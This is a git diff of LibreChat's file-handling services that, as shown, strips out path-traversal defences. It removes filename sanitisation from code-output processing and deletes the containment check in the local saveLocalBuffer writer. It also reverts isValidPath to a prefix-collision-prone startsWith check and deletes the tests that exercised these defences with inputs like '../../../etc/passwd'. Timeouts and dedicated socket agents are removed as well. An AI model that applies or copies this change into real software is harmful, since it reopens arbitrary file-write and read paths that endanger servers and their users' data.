- endpointOption: makeEndpointOption(),
- });
-
- expect(mockInitializeAgent).toHaveBeenCalledTimes(2);
- expect(agentClientArgs.agent.edges).toHaveLength(1);
- expect(agentClientArgs.agent.edges[0].to).toBe(AUTHORIZED_ID);
- });
-});
diff --git a/api/server/services/Files/Code/__tests__/process-traversal.spec.js b/api/server/services/Files/Code/__tests__/process-traversal.spec.js
deleted file mode 100644
index 0b8548445d..0000000000
--- a/api/server/services/Files/Code/__tests__/process-traversal.spec.js
+++ /dev/null
@@ -1,130 +0,0 @@
-jest.mock('uuid', () => ({ v4: jest.fn(() => 'mock-uuid') }));
-
-jest.mock('@librechat/data-schemas', () => ({
- logger: { warn: jest.fn(), debug: jest.fn(), error: jest.fn() },
-}));
-
-jest.mock('@librechat/agents', () => ({
- getCodeBaseURL: jest.fn(() => 'http://localhost:8000'),
-}));
-
-const mockSanitizeFilename = jest.fn();
-
-const mockAxios = jest.fn().mockResolvedValue({
- data: Buffer.from('file-content'),
-});
-mockAxios.post = jest.fn();
-
-jest.mock('@librechat/api', () => {
- const http = require('http');
- const https = require('https');
- return {
- logAxiosError: jest.fn(),
- getBasePath: jest.fn(() => ''),
- sanitizeFilename: mockSanitizeFilename,
- createAxiosInstance: jest.fn(() => mockAxios),
- codeServerHttpAgent: new http.Agent({ keepAlive: false }),
- codeServerHttpsAgent: new https.Agent({ keepAlive: false }),
- };
-});
-
-jest.mock('librechat-data-provider', () => ({
- ...jest.requireActual('librechat-data-provider'),
- mergeFileConfig: jest.fn(() => ({ serverFileSizeLimit: 100 * 1024 * 1024 })),
- getEndpointFileConfig: jest.fn(() => ({
- fileSizeLimit: 100 * 1024 * 1024,
- supportedMimeTypes: ['*/*'],
- })),
- fileConfig: { checkType: jest.fn(() => true) },
-}));
-
-jest.mock('~/models', () => ({
- createFile: jest.fn().mockResolvedValue({}),
- getFiles: jest.fn().mockResolvedValue([]),
- updateFile: jest.fn(),
- claimCodeFile: jest.fn().mockResolvedValue({ file_id: 'mock-uuid', usage: 0 }),
-}));
-
-const mockSaveBuffer = jest.fn().mockResolvedValue('/uploads/user123/mock-uuid__output.csv');
-
-jest.mock('~/server/services/Files/strategies', () => ({
- getStrategyFunctions: jest.fn(() => ({
- saveBuffer: mockSaveBuffer,
- })),
-}));
-
-jest.mock('~/server/services/Files/permissions', () => ({
- filterFilesByAgentAccess: jest.fn().mockResolvedValue([]),
-}));
-
-jest.mock('~/server/services/Files/images/convert', () => ({
- convertImage: jest.fn(),
-}));
-
-jest.mock('~/server/utils', () => ({
- determineFileType: jest.fn().mockResolvedValue({ mime: 'text/csv' }),
-}));
-
-const { createFile } = require('~/models');
-const { processCodeOutput } = require('../process');
-
-const baseParams = {
- req: {
- user: { id: 'user123' },
- config: {
- fileStrategy: 'local',
- imageOutputType: 'webp',
- fileConfig: {},
- },
- },
- id: 'code-file-id',
- apiKey: 'test-key',
- toolCallId: 'tool-1',
- conversationId: 'conv-1',
- messageId: 'msg-1',
- session_id: 'session-1',
-};
-
-describe('processCodeOutput path traversal protection', () => {
- beforeEach(() => {
- jest.clearAllMocks();
- });
-
- test('sanitizeFilename is called with the raw artifact name', async () => {
- mockSanitizeFilename.mockReturnValueOnce('output.csv');
- await processCodeOutput({ ...baseParams, name: 'output.csv' });
- expect(mockSanitizeFilename).toHaveBeenCalledWith('output.csv');
- });
-
- test('sanitized name is used in saveBuffer fileName', async () => {
- mockSanitizeFilename.mockReturnValueOnce('sanitized-name.txt');
- await processCodeOutput({ ...baseParams, name: '../../../tmp/poc.txt' });
-
- expect(mockSanitizeFilename).toHaveBeenCalledWith('../../../tmp/poc.txt');
- const call = mockSaveBuffer.mock.calls[0][0];
- expect(call.fileName).toBe('mock-uuid__sanitized-name.txt');
- });
-
- test('sanitized name is stored as filename in the file record', async () => {
- mockSanitizeFilename.mockReturnValueOnce('safe-output.csv');
- await processCodeOutput({ ...baseParams, name: 'unsafe/../../output.csv' });
-
- const fileArg = createFile.mock.calls[0][0];
- expect(fileArg.filename).toBe('safe-output.csv');
- });
-
- test('sanitized name is used for image file records', async () => {
- const { convertImage } = require('~/server/services/Files/images/convert');
- convertImage.mockResolvedValueOnce({
- filepath: '/images/user123/mock-uuid.webp',
- bytes: 100,
- });
-
- mockSanitizeFilename.mockReturnValueOnce('safe-chart.png');
- await processCodeOutput({ ...baseParams, name: '../../../chart.png' });
-
- expect(mockSanitizeFilename).toHaveBeenCalledWith('../../../chart.png');
- const fileArg = createFile.mock.calls[0][0];
- expect(fileArg.filename).toBe('safe-chart.png');
- });
-});
diff --git a/api/server/services/Files/Code/crud.js b/api/server/services/Files/Code/crud.js
index 945aec787b..4781219fcf 100644
--- a/api/server/services/Files/Code/crud.js
+++ b/api/server/services/Files/Code/crud.js
@@ -1,11 +1,6 @@
const FormData = require('form-data');
const { getCodeBaseURL } = require('@librechat/agents');
-const {
- logAxiosError,
- createAxiosInstance,
- codeServerHttpAgent,
- codeServerHttpsAgent,
-} = require('@librechat/api');
+const { createAxiosInstance, logAxiosError } = require('@librechat/api');
const axios = createAxiosInstance();
@@ -30,8 +25,6 @@ async function getCodeOutputDownloadStream(fileIdentifier, apiKey) {
'User-Agent': 'LibreChat/1.0',
'X-API-Key': apiKey,
},
- httpAgent: codeServerHttpAgent,
- httpsAgent: codeServerHttpsAgent,
timeout: 15000,
};
@@ -76,9 +69,6 @@ async function uploadCodeEnvFile({ req, stream, filename, apiKey, entity_id = ''
'User-Id': req.user.id,
'X-API-Key': apiKey,
},
- httpAgent: codeServerHttpAgent,
- httpsAgent: codeServerHttpsAgent,
- timeout: 120000,
maxContentLength: MAX_FILE_SIZE,
maxBodyLength: MAX_FILE_SIZE,
};
diff --git a/api/server/services/Files/Code/crud.spec.js b/api/server/services/Files/Code/crud.spec.js
deleted file mode 100644
index 261f0f052b..0000000000
--- a/api/server/services/Files/Code/crud.spec.js
+++ /dev/null
@@ -1,149 +0,0 @@
-const http = require('http');
-const https = require('https');
-const { Readable } = require('stream');
-
-const mockAxios = jest.fn();
-mockAxios.post = jest.fn();
-
-jest.mock('@librechat/agents', () => ({
- getCodeBaseURL: jest.fn(() => 'https://code-api.example.com'),
-}));
-
-jest.mock('@librechat/api', () => {
- const http = require('http');
- const https = require('https');
- return {
- logAxiosError: jest.fn(({ message }) => message),
- createAxiosInstance: jest.fn(() => mockAxios),
- codeServerHttpAgent: new http.Agent({ keepAlive: false }),
- codeServerHttpsAgent: new https.Agent({ keepAlive: false }),
- };
-});
-
-const { codeServerHttpAgent, codeServerHttpsAgent } = require('@librechat/api');
-const { getCodeOutputDownloadStream, uploadCodeEnvFile } = require('./crud');
-
-describe('Code CRUD', () => {
- beforeEach(() => {
- jest.clearAllMocks();
- });
-
- describe('getCodeOutputDownloadStream', () => {
- it('should pass dedicated keepAlive:false agents to axios', async () => {
- const mockResponse = { data: Readable.from(['chunk']) };
- mockAxios.mockResolvedValue(mockResponse);
-
- await getCodeOutputDownloadStream('session-1/file-1', 'test-key');
-
- const callConfig = mockAxios.mock.calls[0][0];
- expect(callConfig.httpAgent).toBe(codeServerHttpAgent);
- expect(callConfig.httpsAgent).toBe(codeServerHttpsAgent);
- expect(callConfig.httpAgent).toBeInstanceOf(http.Agent);
- expect(callConfig.httpsAgent).toBeInstanceOf(https.Agent);
- expect(callConfig.httpAgent.keepAlive).toBe(false);
- expect(callConfig.httpsAgent.keepAlive).toBe(false);
- });
-
- it('should request stream response from the correct URL', async () => {
- mockAxios.mockResolvedValue({ data: Readable.from(['chunk']) });
-
- await getCodeOutputDownloadStream('session-1/file-1', 'test-key');
-
- const callConfig = mockAxios.mock.calls[0][0];
- expect(callConfig.url).toBe('https://code-api.example.com/download/session-1/file-1');
- expect(callConfig.responseType).toBe('stream');
- expect(callConfig.timeout).toBe(15000);
- expect(callConfig.headers['X-API-Key']).toBe('test-key');
- });
-
- it('should throw on network error', async () => {
- mockAxios.mockRejectedValue(new Error('ECONNREFUSED'));
-
- await expect(getCodeOutputDownloadStream('s/f', 'key')).rejects.toThrow();
- });
- });
-
- describe('uploadCodeEnvFile', () => {
- const baseUploadParams = {
- req: { user: { id: 'user-123' } },
- stream: Readable.from(['file-content']),
- filename: 'data.csv',
- apiKey: 'test-key',
- };
-
- it('should pass dedicated keepAlive:false agents to axios', async () => {
- mockAxios.post.mockResolvedValue({
- data: {
- message: 'success',
- session_id: 'sess-1',
- files: [{ fileId: 'fid-1', filename: 'data.csv' }],
- },
- });
-
- await uploadCodeEnvFile(baseUploadParams);
-
- const callConfig = mockAxios.post.mock.calls[0][2];
- expect(callConfig.httpAgent).toBe(codeServerHttpAgent);
- expect(callConfig.httpsAgent).toBe(codeServerHttpsAgent);
- expect(callConfig.httpAgent).toBeInstanceOf(http.Agent);
- expect(callConfig.httpsAgent).toBeInstanceOf(https.Agent);
- expect(callConfig.httpAgent.keepAlive).toBe(false);
- expect(callConfig.httpsAgent.keepAlive).toBe(false);
- });
-
- it('should set a timeout on upload requests', async () => {
- mockAxios.post.mockResolvedValue({
- data: {
- message: 'success',
- session_id: 'sess-1',
- files: [{ fileId: 'fid-1', filename: 'data.csv' }],
- },
- });
-
- await uploadCodeEnvFile(baseUploadParams);
-
- const callConfig = mockAxios.post.mock.calls[0][2];
- expect(callConfig.timeout).toBe(120000);
- });
-
- it('should return fileIdentifier on success', async () => {
- mockAxios.post.mockResolvedValue({
- data: {
- message: 'success',
- session_id: 'sess-1',
- files: [{ fileId: 'fid-1', filename: 'data.csv' }],
- },
- });
-
- const result = await uploadCodeEnvFile(baseUploadParams);
- expect(result).toBe('sess-1/fid-1');
- });
-
- it('should append entity_id query param when provided', async () => {
- mockAxios.post.mockResolvedValue({
- data: {
- message: 'success',
- session_id: 'sess-1',
- files: [{ fileId: 'fid-1', filename: 'data.csv' }],
- },
- });
-
- const result = await uploadCodeEnvFile({ ...baseUploadParams, entity_id: 'agent-42' });
- expect(result).toBe('sess-1/fid-1?entity_id=agent-42');
- });
-
- it('should throw when server returns non-success message', async () => {
- mockAxios.post.mockResolvedValue({
- data: { message: 'quota_exceeded', session_id: 's', files: [] },
- });
-
- await expect(uploadCodeEnvFile(baseUploadParams)).rejects.toThrow('quota_exceeded');
- });
-
- it('should throw on network error', async () => {
- mockAxios.post.mockRejectedValue(new Error('ECONNREFUSED'));
-
- await expect(uploadCodeEnvFile(baseUploadParams)).rejects.toThrow();
- });
- });
-});
diff --git a/api/server/services/Files/Code/process.js b/api/server/services/Files/Code/process.js
index 7cdebeb202..3f0bfcfc87 100644
--- a/api/server/services/Files/Code/process.js
+++ b/api/server/services/Files/Code/process.js
@@ -1,15 +1,9 @@
const path = require('path');
const { v4 } = require('uuid');
+const axios = require('axios');
const { logger } = require('@librechat/data-schemas');
const { getCodeBaseURL } = require('@librechat/agents');
-const {
- getBasePath,
- logAxiosError,
- sanitizeFilename,
- createAxiosInstance,
- codeServerHttpAgent,
- codeServerHttpsAgent,
-} = require('@librechat/api');
+const { logAxiosError, getBasePath } = require('@librechat/api');
const {
Tools,
megabyte,
@@ -29,8 +23,6 @@ const { getStrategyFunctions } = require('~/server/services/Files/strategies');
const { convertImage } = require('~/server/services/Files/images/convert');
const { determineFileType } = require('~/server/utils');
-const axios = createAxiosInstance();
-
/**
* Creates a fallback download URL response when file cannot be processed locally.
* Used when: file exceeds size limit, storage strategy unavailable, or download error occurs.
@@ -110,8 +102,6 @@ const processCodeOutput = async ({
'User-Agent': 'LibreChat/1.0',
'X-API-Key': apiKey,
},
- httpAgent: codeServerHttpAgent,
- httpsAgent: codeServerHttpsAgent,
timeout: 15000,
});
@@ -156,13 +146,6 @@ const processCodeOutput = async ({
);
}
- const safeName = sanitizeFilename(name);
- if (safeName !== name) {
- logger.warn(
- `[processCodeOutput] Filename sanitized: "${name}" -> "${safeName}" | conv=${conversationId}`,
- );
- }
-
if (isImage) {
const usage = isUpdate ? (claimed.usage ?? 0) + 1 : 1;
const _file = await convertImage(req, buffer, 'high', `${file_id}${fileExt}`);
@@ -173,7 +156,7 @@ const processCodeOutput = async ({
file_id,
messageId,
usage,
- filename: safeName,
+ filename: name,
conversationId,
user: req.user.id,
type: `image/${appConfig.imageOutputType}`,
@@ -217,7 +200,7 @@ const processCodeOutput = async ({
);
}
- const fileName = `${file_id}__${safeName}`;
+ const fileName = `${file_id}__${name}`;
const filepath = await saveBuffer({
userId: req.user.id,
buffer,
@@ -230,7 +213,7 @@ const processCodeOutput = async ({
filepath,
messageId,
object: 'file',
- filename: safeName,
+ filename: name,
type: mimeType,
conversationId,
user: req.user.id,
@@ -246,11 +229,6 @@ const processCodeOutput = async ({
await createFile(file, true);
return Object.assign(file, { messageId, toolCallId });
} catch (error) {
- if (error?.message === 'Path traversal detected in filename') {
- logger.warn(
- `[processCodeOutput] Path traversal blocked for file "${name}" | conv=${conversationId}`,
- );
- }
logAxiosError({
message: 'Error downloading/processing code environment file',
error,
@@ -310,8 +288,6 @@ async function getSessionInfo(fileIdentifier, apiKey) {
'User-Agent': 'LibreChat/1.0',
'X-API-Key': apiKey,
},
- httpAgent: codeServerHttpAgent,
- httpsAgent: codeServerHttpsAgent,
timeout: 5000,
});
@@ -460,6 +436,5 @@ const primeFiles = async (options, apiKey) => {
module.exports = {
primeFiles,
- getSessionInfo,
processCodeOutput,
};
diff --git a/api/server/services/Files/Code/process.spec.js b/api/server/services/Files/Code/process.spec.js
index a805ee2bcc..f01a623f90 100644
--- a/api/server/services/Files/Code/process.spec.js
+++ b/api/server/services/Files/Code/process.spec.js
@@ -36,24 +36,11 @@ jest.mock('uuid', () => ({
v4: jest.fn(() => 'mock-uuid-1234'),
}));
-// Mock axios — process.js now uses createAxiosInstance() from @librechat/api
-const mockAxios = jest.fn();
-mockAxios.post = jest.fn();
-mockAxios.isAxiosError = jest.fn(() => false);
-
-jest.mock('@librechat/api', () => {
- const http = require('http');
- const https = require('https');
- return {
- logAxiosError: jest.fn(),
- getBasePath: jest.fn(() => ''),
- sanitizeFilename: jest.fn((name) => name),
- createAxiosInstance: jest.fn(() => mockAxios),
- codeServerHttpAgent: new http.Agent({ keepAlive: false }),
- codeServerHttpsAgent: new https.Agent({ keepAlive: false }),
- };
-});
+// Mock axios
+jest.mock('axios');
+const axios = require('axios');
+// Mock logger
jest.mock('@librechat/data-schemas', () => ({
logger: {
warn: jest.fn(),
@@ -62,10 +49,17 @@ jest.mock('@librechat/data-schemas', () => ({
},
}));
+// Mock getCodeBaseURL
jest.mock('@librechat/agents', () => ({
getCodeBaseURL: jest.fn(() => 'https://code-api.example.com'),
}));
+// Mock logAxiosError and getBasePath
+jest.mock('@librechat/api', () => ({
+ logAxiosError: jest.fn(),
+ getBasePath: jest.fn(() => ''),
+}));
+
// Mock models
const mockClaimCodeFile = jest.fn();
jest.mock('~/models', () => ({
@@ -95,16 +89,14 @@ jest.mock('~/server/utils', () => ({
determineFileType: jest.fn(),
}));
-const http = require('http');
-const https = require('https');
const { createFile, getFiles } = require('~/models');
const { getStrategyFunctions } = require('~/server/services/Files/strategies');
const { convertImage } = require('~/server/services/Files/images/convert');
const { determineFileType } = require('~/server/utils');
const { logger } = require('@librechat/data-schemas');
-const { codeServerHttpAgent, codeServerHttpsAgent } = require('@librechat/api');
-const { processCodeOutput, getSessionInfo } = require('./process');
+// Import after mocks
+const { processCodeOutput } = require('./process');
describe('Code Process', () => {
const mockReq = {
@@ -152,7 +144,7 @@ describe('Code Process', () => {
});
const smallBuffer = Buffer.alloc(100);
- mockAxios.mockResolvedValue({ data: smallBuffer });
+ axios.mockResolvedValue({ data: smallBuffer });
const result = await processCodeOutput(baseParams);
@@ -175,7 +167,7 @@ describe('Code Process', () => {
});
const smallBuffer = Buffer.alloc(100);
- mockAxios.mockResolvedValue({ data: smallBuffer });
+ axios.mockResolvedValue({ data: smallBuffer });
const result = await processCodeOutput(baseParams);
@@ -189,7 +181,7 @@ describe('Code Process', () => {
it('should process image files using convertImage', async () => {
const imageParams = { ...baseParams, name: 'chart.png' };
const imageBuffer = Buffer.alloc(500);
- mockAxios.mockResolvedValue({ data: imageBuffer });
+ axios.mockResolvedValue({ data: imageBuffer });
const convertedFile = {
filepath: '/uploads/converted-image.webp',
@@ -219,7 +211,7 @@ describe('Code Process', () => {
});
const imageBuffer = Buffer.alloc(500);
- mockAxios.mockResolvedValue({ data: imageBuffer });
+ axios.mockResolvedValue({ data: imageBuffer });
convertImage.mockResolvedValue({ filepath: '/images/user-123/existing-img-id.webp' });
const result = await processCodeOutput(imageParams);
@@ -242,7 +234,7 @@ describe('Code Process', () => {
describe('non-image file processing', () => {
it('should process non-image files using saveBuffer', async () => {
const smallBuffer = Buffer.alloc(100);
- mockAxios.mockResolvedValue({ data: smallBuffer });
+ axios.mockResolvedValue({ data: smallBuffer });
const mockSaveBuffer = jest.fn().mockResolvedValue('/uploads/saved-file.txt');
getStrategyFunctions.mockReturnValue({ saveBuffer: mockSaveBuffer });
@@ -263,7 +255,7 @@ describe('Code Process', () => {
it('should detect MIME type from buffer', async () => {
const smallBuffer = Buffer.alloc(100);
- mockAxios.mockResolvedValue({ data: smallBuffer });
+ axios.mockResolvedValue({ data: smallBuffer });
determineFileType.mockResolvedValue({ mime: 'application/pdf' });
const result = await processCodeOutput({ ...baseParams, name: 'document.pdf' });
@@ -274,7 +266,7 @@ describe('Code Process', () => {
it('should fallback to application/octet-stream for unknown types', async () => {
const smallBuffer = Buffer.alloc(100);
- mockAxios.mockResolvedValue({ data: smallBuffer });
+ axios.mockResolvedValue({ data: smallBuffer });
determineFileType.mockResolvedValue(null);
const result = await processCodeOutput({ ...baseParams, name: 'unknown.xyz' });
@@ -289,7 +281,7 @@ describe('Code Process', () => {
fileSizeLimitConfig.value = 1000; // 1KB limit
const largeBuffer = Buffer.alloc(5000); // 5KB - exceeds 1KB limit
- mockAxios.mockResolvedValue({ data: largeBuffer });
+ axios.mockResolvedValue({ data: largeBuffer });
const result = await processCodeOutput(baseParams);
@@ -307,7 +299,7 @@ describe('Code Process', () => {
describe('fallback behavior', () => {
it('should fallback to download URL when saveBuffer is not available', async () => {
const smallBuffer = Buffer.alloc(100);
- mockAxios.mockResolvedValue({ data: smallBuffer });
+ axios.mockResolvedValue({ data: smallBuffer });
getStrategyFunctions.mockReturnValue({ saveBuffer: null });
const result = await processCodeOutput(baseParams);
@@ -320,7 +312,7 @@ describe('Code Process', () => {
});
it('should fallback to download URL on axios error', async () => {
- mockAxios.mockRejectedValue(new Error('Network error'));
+ axios.mockRejectedValue(new Error('Network error'));
const result = await processCodeOutput(baseParams);
@@ -334,7 +326,7 @@ describe('Code Process', () => {
describe('usage counter increment', () => {
it('should set usage to 1 for new files', async () => {
const smallBuffer = Buffer.alloc(100);
- mockAxios.mockResolvedValue({ data: smallBuffer });
+ axios.mockResolvedValue({ data: smallBuffer });
const result = await processCodeOutput(baseParams);
@@ -348,7 +340,7 @@ describe('Code Process', () => {
createdAt: '2024-01-01',
});
const smallBuffer = Buffer.alloc(100);
- mockAxios.mockResolvedValue({ data: smallBuffer });
+ axios.mockResolvedValue({ data: smallBuffer });
const result = await processCodeOutput(baseParams);
@@ -361,7 +353,7 @@ describe('Code Process', () => {
createdAt: '2024-01-01',
});
const smallBuffer = Buffer.alloc(100);
- mockAxios.mockResolvedValue({ data: smallBuffer });
+ axios.mockResolvedValue({ data: smallBuffer });
const result = await processCodeOutput(baseParams);
@@ -372,7 +364,7 @@ describe('Code Process', () => {
describe('metadata and file properties', () => {
it('should include fileIdentifier in metadata', async () => {
const smallBuffer = Buffer.alloc(100);
- mockAxios.mockResolvedValue({ data: smallBuffer });
+ axios.mockResolvedValue({ data: smallBuffer });
const result = await processCodeOutput(baseParams);
@@ -383,7 +375,7 @@ describe('Code Process', () => {
it('should set correct context for code-generated files', async () => {
const smallBuffer = Buffer.alloc(100);
- mockAxios.mockResolvedValue({ data: smallBuffer });
+ axios.mockResolvedValue({ data: smallBuffer });
const result = await processCodeOutput(baseParams);
@@ -392,7 +384,7 @@ describe('Code Process', () => {
it('should include toolCallId and messageId in result', async () => {
const smallBuffer = Buffer.alloc(100);
- mockAxios.mockResolvedValue({ data: smallBuffer });
+ axios.mockResolvedValue({ data: smallBuffer });
const result = await processCodeOutput(baseParams);
@@ -402,7 +394,7 @@ describe('Code Process', () => {
it('should call createFile with upsert enabled', async () => {
const smallBuffer = Buffer.alloc(100);
- mockAxios.mockResolvedValue({ data: smallBuffer });
+ axios.mockResolvedValue({ data: smallBuffer });
await processCodeOutput(baseParams);
@@ -415,36 +407,5 @@ describe('Code Process', () => {
);
});
});
-
- describe('socket pool isolation', () => {
- it('should pass dedicated keepAlive:false agents to axios for processCodeOutput', async () => {
- const smallBuffer = Buffer.alloc(100);
- mockAxios.mockResolvedValue({ data: smallBuffer });
-
- await processCodeOutput(baseParams);
-
- const callConfig = mockAxios.mock.calls[0][0];
- expect(callConfig.httpAgent).toBe(codeServerHttpAgent);
- expect(callConfig.httpsAgent).toBe(codeServerHttpsAgent);
- expect(callConfig.httpAgent).toBeInstanceOf(http.Agent);
- expect(callConfig.httpsAgent).toBeInstanceOf(https.Agent);
- expect(callConfig.httpAgent.keepAlive).toBe(false);
- expect(callConfig.httpsAgent.keepAlive).toBe(false);
- });
-
- it('should pass dedicated keepAlive:false agents to axios for getSessionInfo', async () => {
- mockAxios.mockResolvedValue({
- data: [{ name: 'sess/fid', lastModified: new Date().toISOString() }],
- });
-
- await getSessionInfo('sess/fid', 'api-key');
-
- const callConfig = mockAxios.mock.calls[0][0];
- expect(callConfig.httpAgent).toBe(codeServerHttpAgent);
- expect(callConfig.httpsAgent).toBe(codeServerHttpsAgent);
- expect(callConfig.httpAgent.keepAlive).toBe(false);
- expect(callConfig.httpsAgent.keepAlive).toBe(false);
- });
- });
});
});
diff --git a/api/server/services/Files/Local/__tests__/crud-traversal.spec.js b/api/server/services/Files/Local/__tests__/crud-traversal.spec.js
deleted file mode 100644
index 57ba221d68..0000000000
--- a/api/server/services/Files/Local/__tests__/crud-traversal.spec.js
+++ /dev/null
@@ -1,69 +0,0 @@
-jest.mock('@librechat/api', () => ({ deleteRagFile: jest.fn() }));
-jest.mock('@librechat/data-schemas', () => ({
- logger: { warn: jest.fn(), error: jest.fn() },
-}));
-
-const mockTmpBase = require('fs').mkdtempSync(
- require('path').join(require('os').tmpdir(), 'crud-traversal-'),
-);
-
-jest.mock('~/config/paths', () => {
- const path = require('path');
- return {
- publicPath: path.join(mockTmpBase, 'public'),
- uploads: path.join(mockTmpBase, 'uploads'),
- };
-});
-
-const fs = require('fs');
-const path = require('path');
-const { saveLocalBuffer } = require('../crud');
-
-describe('saveLocalBuffer path containment', () => {
- beforeAll(() => {
- fs.mkdirSync(path.join(mockTmpBase, 'public', 'images'), { recursive: true });
- fs.mkdirSync(path.join(mockTmpBase, 'uploads'), { recursive: true });
- });
-
- afterAll(() => {
- fs.rmSync(mockTmpBase, { recursive: true, force: true });
- });
-
- test('rejects filenames with path traversal sequences', async () => {
- await expect(
- saveLocalBuffer({
- userId: 'user1',
- buffer: Buffer.from('malicious'),
- fileName: '../../../etc/passwd',
- basePath: 'uploads',
- }),
- ).rejects.toThrow('Path traversal detected in filename');
- });
-
- test('rejects prefix-collision traversal (startsWith bypass)', async () => {
- fs.mkdirSync(path.join(mockTmpBase, 'uploads', 'user10'), { recursive: true });
- await expect(
- saveLocalBuffer({
- userId: 'user1',
- buffer: Buffer.from('malicious'),
- fileName: '../user10/evil',
- basePath: 'uploads',
- }),
- ).rejects.toThrow('Path traversal detected in filename');
- });
-
- test('allows normal filenames', async () => {
- const result = await saveLocalBuffer({
- userId: 'user1',
- buffer: Buffer.from('safe content'),
- fileName: 'file-id__output.csv',
- basePath: 'uploads',
- });
-
- expect(result).toBe('/uploads/user1/file-id__output.csv');
-
- const filePath = path.join(mockTmpBase, 'uploads', 'user1', 'file-id__output.csv');
- expect(fs.existsSync(filePath)).toBe(true);
- fs.unlinkSync(filePath);
- });
-});
diff --git a/api/server/services/Files/Local/crud.js b/api/server/services/Files/Local/crud.js
index c86774d472..1f38a01f83 100644
--- a/api/server/services/Files/Local/crud.js
+++ b/api/server/services/Files/Local/crud.js
@@ -78,13 +78,7 @@ async function saveLocalBuffer({ userId, buffer, fileName, basePath = 'images' }
fs.mkdirSync(directoryPath, { recursive: true });
}
- const resolvedDir = path.resolve(directoryPath);
- const resolvedPath = path.resolve(resolvedDir, fileName);
- const rel = path.relative(resolvedDir, resolvedPath);
- if (rel.startsWith('..') || path.isAbsolute(rel) || rel.includes(`..${path.sep}`)) {
- throw new Error('Path traversal detected in filename');
- }
- fs.writeFileSync(resolvedPath, buffer);
+ fs.writeFileSync(path.join(directoryPath, fileName), buffer);
const filePath = path.posix.join('/', basePath, userId, fileName);
@@ -171,8 +165,9 @@ async function getLocalFileURL({ fileName, basePath = 'images' }) {
}
/**
- * Validates that a filepath is strictly contained within a subdirectory under a base path,
- * using path.relative to prevent prefix-collision bypasses.
+ * Validates if a given filepath is within a specified subdirectory under a base path. This function constructs
+ * the expected base path using the base, subfolder, and user id from the request, and then checks if the
+ * provided filepath starts with this constructed base path.
*
* @param {ServerRequest} req - The request object from Express. It should contain a `user` property with an `id`.
* @param {string} base - The base directory path.
@@ -185,8 +180,7 @@ async function getLocalFileURL({ fileName, basePath = 'images' }) {
const isValidPath = (req, base, subfolder, filepath) => {
const normalizedBase = path.resolve(base, subfolder, req.user.id);
const normalizedFilepath = path.resolve(filepath);
- const rel = path.relative(normalizedBase, normalizedFilepath);
- return !rel.startsWith('..') && !path.isAbsolute(rel) && !rel.includes(`..${path.sep}`);
+ return normalizedFilepath.startsWith(normalizedBase);
};
/**
diff --git a/api/server/services/Files/S3/crud.js b/api/server/services/Files/S3/crud.js
index c821c0696c..0721e33b29 100644
--- a/api/server/services/Files/S3/crud.js
+++ b/api/server/services/Files/S3/crud.js
@@ -3,7 +3,7 @@ const fetch = require('node-fetch');
const { logger } = require('@librechat/data-schemas');
const { FileSources } = require('librechat-data-provider');
const { getSignedUrl } = require('@aws-sdk/s3-request-presigner');
-const { initializeS3, deleteRagFile, isEnabled } = require('@librechat/api');
+const { initializeS3, deleteRagFile } = require('@librechat/api');
const {
PutObjectCommand,
GetObjectCommand,
@@ -13,8 +13,6 @@ const {
const bucketName = process.env.AWS_BUCKET_NAME;
const defaultBasePath = 'images';
-const endpoint = process.env.AWS_ENDPOINT_URL;
-const forcePathStyle = isEnabled(process.env.AWS_FORCE_PATH_STYLE);
let s3UrlExpirySeconds = 2 * 60; // 2 minutes
let s3RefreshExpiryMs = null;
@@ -254,83 +252,15 @@ function extractKeyFromS3Url(fileUrlOrKey) {
try {
const url = new URL(fileUrlOrKey);
- const hostname = url.hostname;
- const pathname = url.pathname.substring(1); // Remove leading slash
-
- // Explicit path-style with custom endpoint: use endpoint pathname for precise key extraction.
- // Handles endpoints with a base path (e.g. https://example.com/storage/).
- if (endpoint && forcePathStyle) {
- const endpointUrl = new URL(endpoint);
- const startPos =
- endpointUrl.pathname.length +
- (endpointUrl.pathname.endsWith('/') ? 0 : 1) +
- bucketName.length +
- 1;
- const key = url.pathname.substring(startPos);
- if (!key) {
- logger.warn(
- `[extractKeyFromS3Url] Extracted key is empty for endpoint path-style URL: ${fileUrlOrKey}`,
- );
- } else {
- logger.debug(`[extractKeyFromS3Url] fileUrlOrKey: ${fileUrlOrKey}, Extracted key: ${key}`);
- }
- return key;
- }
-
- if (
- hostname === 's3.amazonaws.com' ||
- hostname.match(/^s3[-.][a-z0-9-]+\.amazonaws\.com$/) ||
- (bucketName && pathname.startsWith(`${bucketName}/`))
- ) {
- // Path-style: https://s3.amazonaws.com/bucket-name/key or custom endpoint (MinIO, R2, etc.)
- // Strip the bucket name (first path segment)
- const firstSlashIndex = pathname.indexOf('/');
- if (firstSlashIndex > 0) {
- const key = pathname.substring(firstSlashIndex + 1);
-
- if (key === '') {
- logger.warn(
- `[extractKeyFromS3Url] Extracted key is empty after removing bucket name from URL: ${fileUrlOrKey}`,
- );
- } else {
- logger.debug(
- `[extractKeyFromS3Url] fileUrlOrKey: ${fileUrlOrKey}, Extracted key: ${key}`,
- );
- }
-
- return key;
- } else {
- logger.warn(
- `[extractKeyFromS3Url] Unable to extract key from path-style URL: ${fileUrlOrKey}`,
- );
- return '';
- }
- }
-
- // Virtual-hosted-style or other: https://bucket-name.s3.amazonaws.com/key
- // Just return the pathname without leading slash
- logger.debug(`[extractKeyFromS3Url] fileUrlOrKey: ${fileUrlOrKey}, Extracted key: ${pathname}`);
- return pathname;
+ return url.pathname.substring(1);
} catch (error) {
- if (fileUrlOrKey.startsWith('http://') || fileUrlOrKey.startsWith('https://')) {
- logger.error(
- `[extractKeyFromS3Url] Error parsing URL: ${fileUrlOrKey}, Error: ${error.message}`,
- );
- } else {
- logger.debug(`[extractKeyFromS3Url] Non-URL input, using fallback: ${fileUrlOrKey}`);
- }
-
const parts = fileUrlOrKey.split('/');
if (parts.length >= 3 && !fileUrlOrKey.startsWith('http') && !fileUrlOrKey.startsWith('/')) {
return fileUrlOrKey;
}
- const key = fileUrlOrKey.startsWith('/') ? fileUrlOrKey.substring(1) : fileUrlOrKey;
- logger.debug(
- `[extractKeyFromS3Url] FALLBACK. fileUrlOrKey: ${fileUrlOrKey}, Extracted key: ${key}`,
- );
- return key;
+ return fileUrlOrKey.startsWith('/') ? fileUrlOrKey.substring(1) : fileUrlOrKey;
}
}
@@ -552,5 +482,4 @@ module.exports = {
refreshS3Url,
needsRefresh,
getNewS3URL,
- extractKeyFromS3Url,
};
diff --git a/api/server/services/Files/permissions.js b/api/server/services/Files/permissions.js
index b9a5d6656f..d909afe25a 100644
--- a/api/server/services/Files/permissions.js
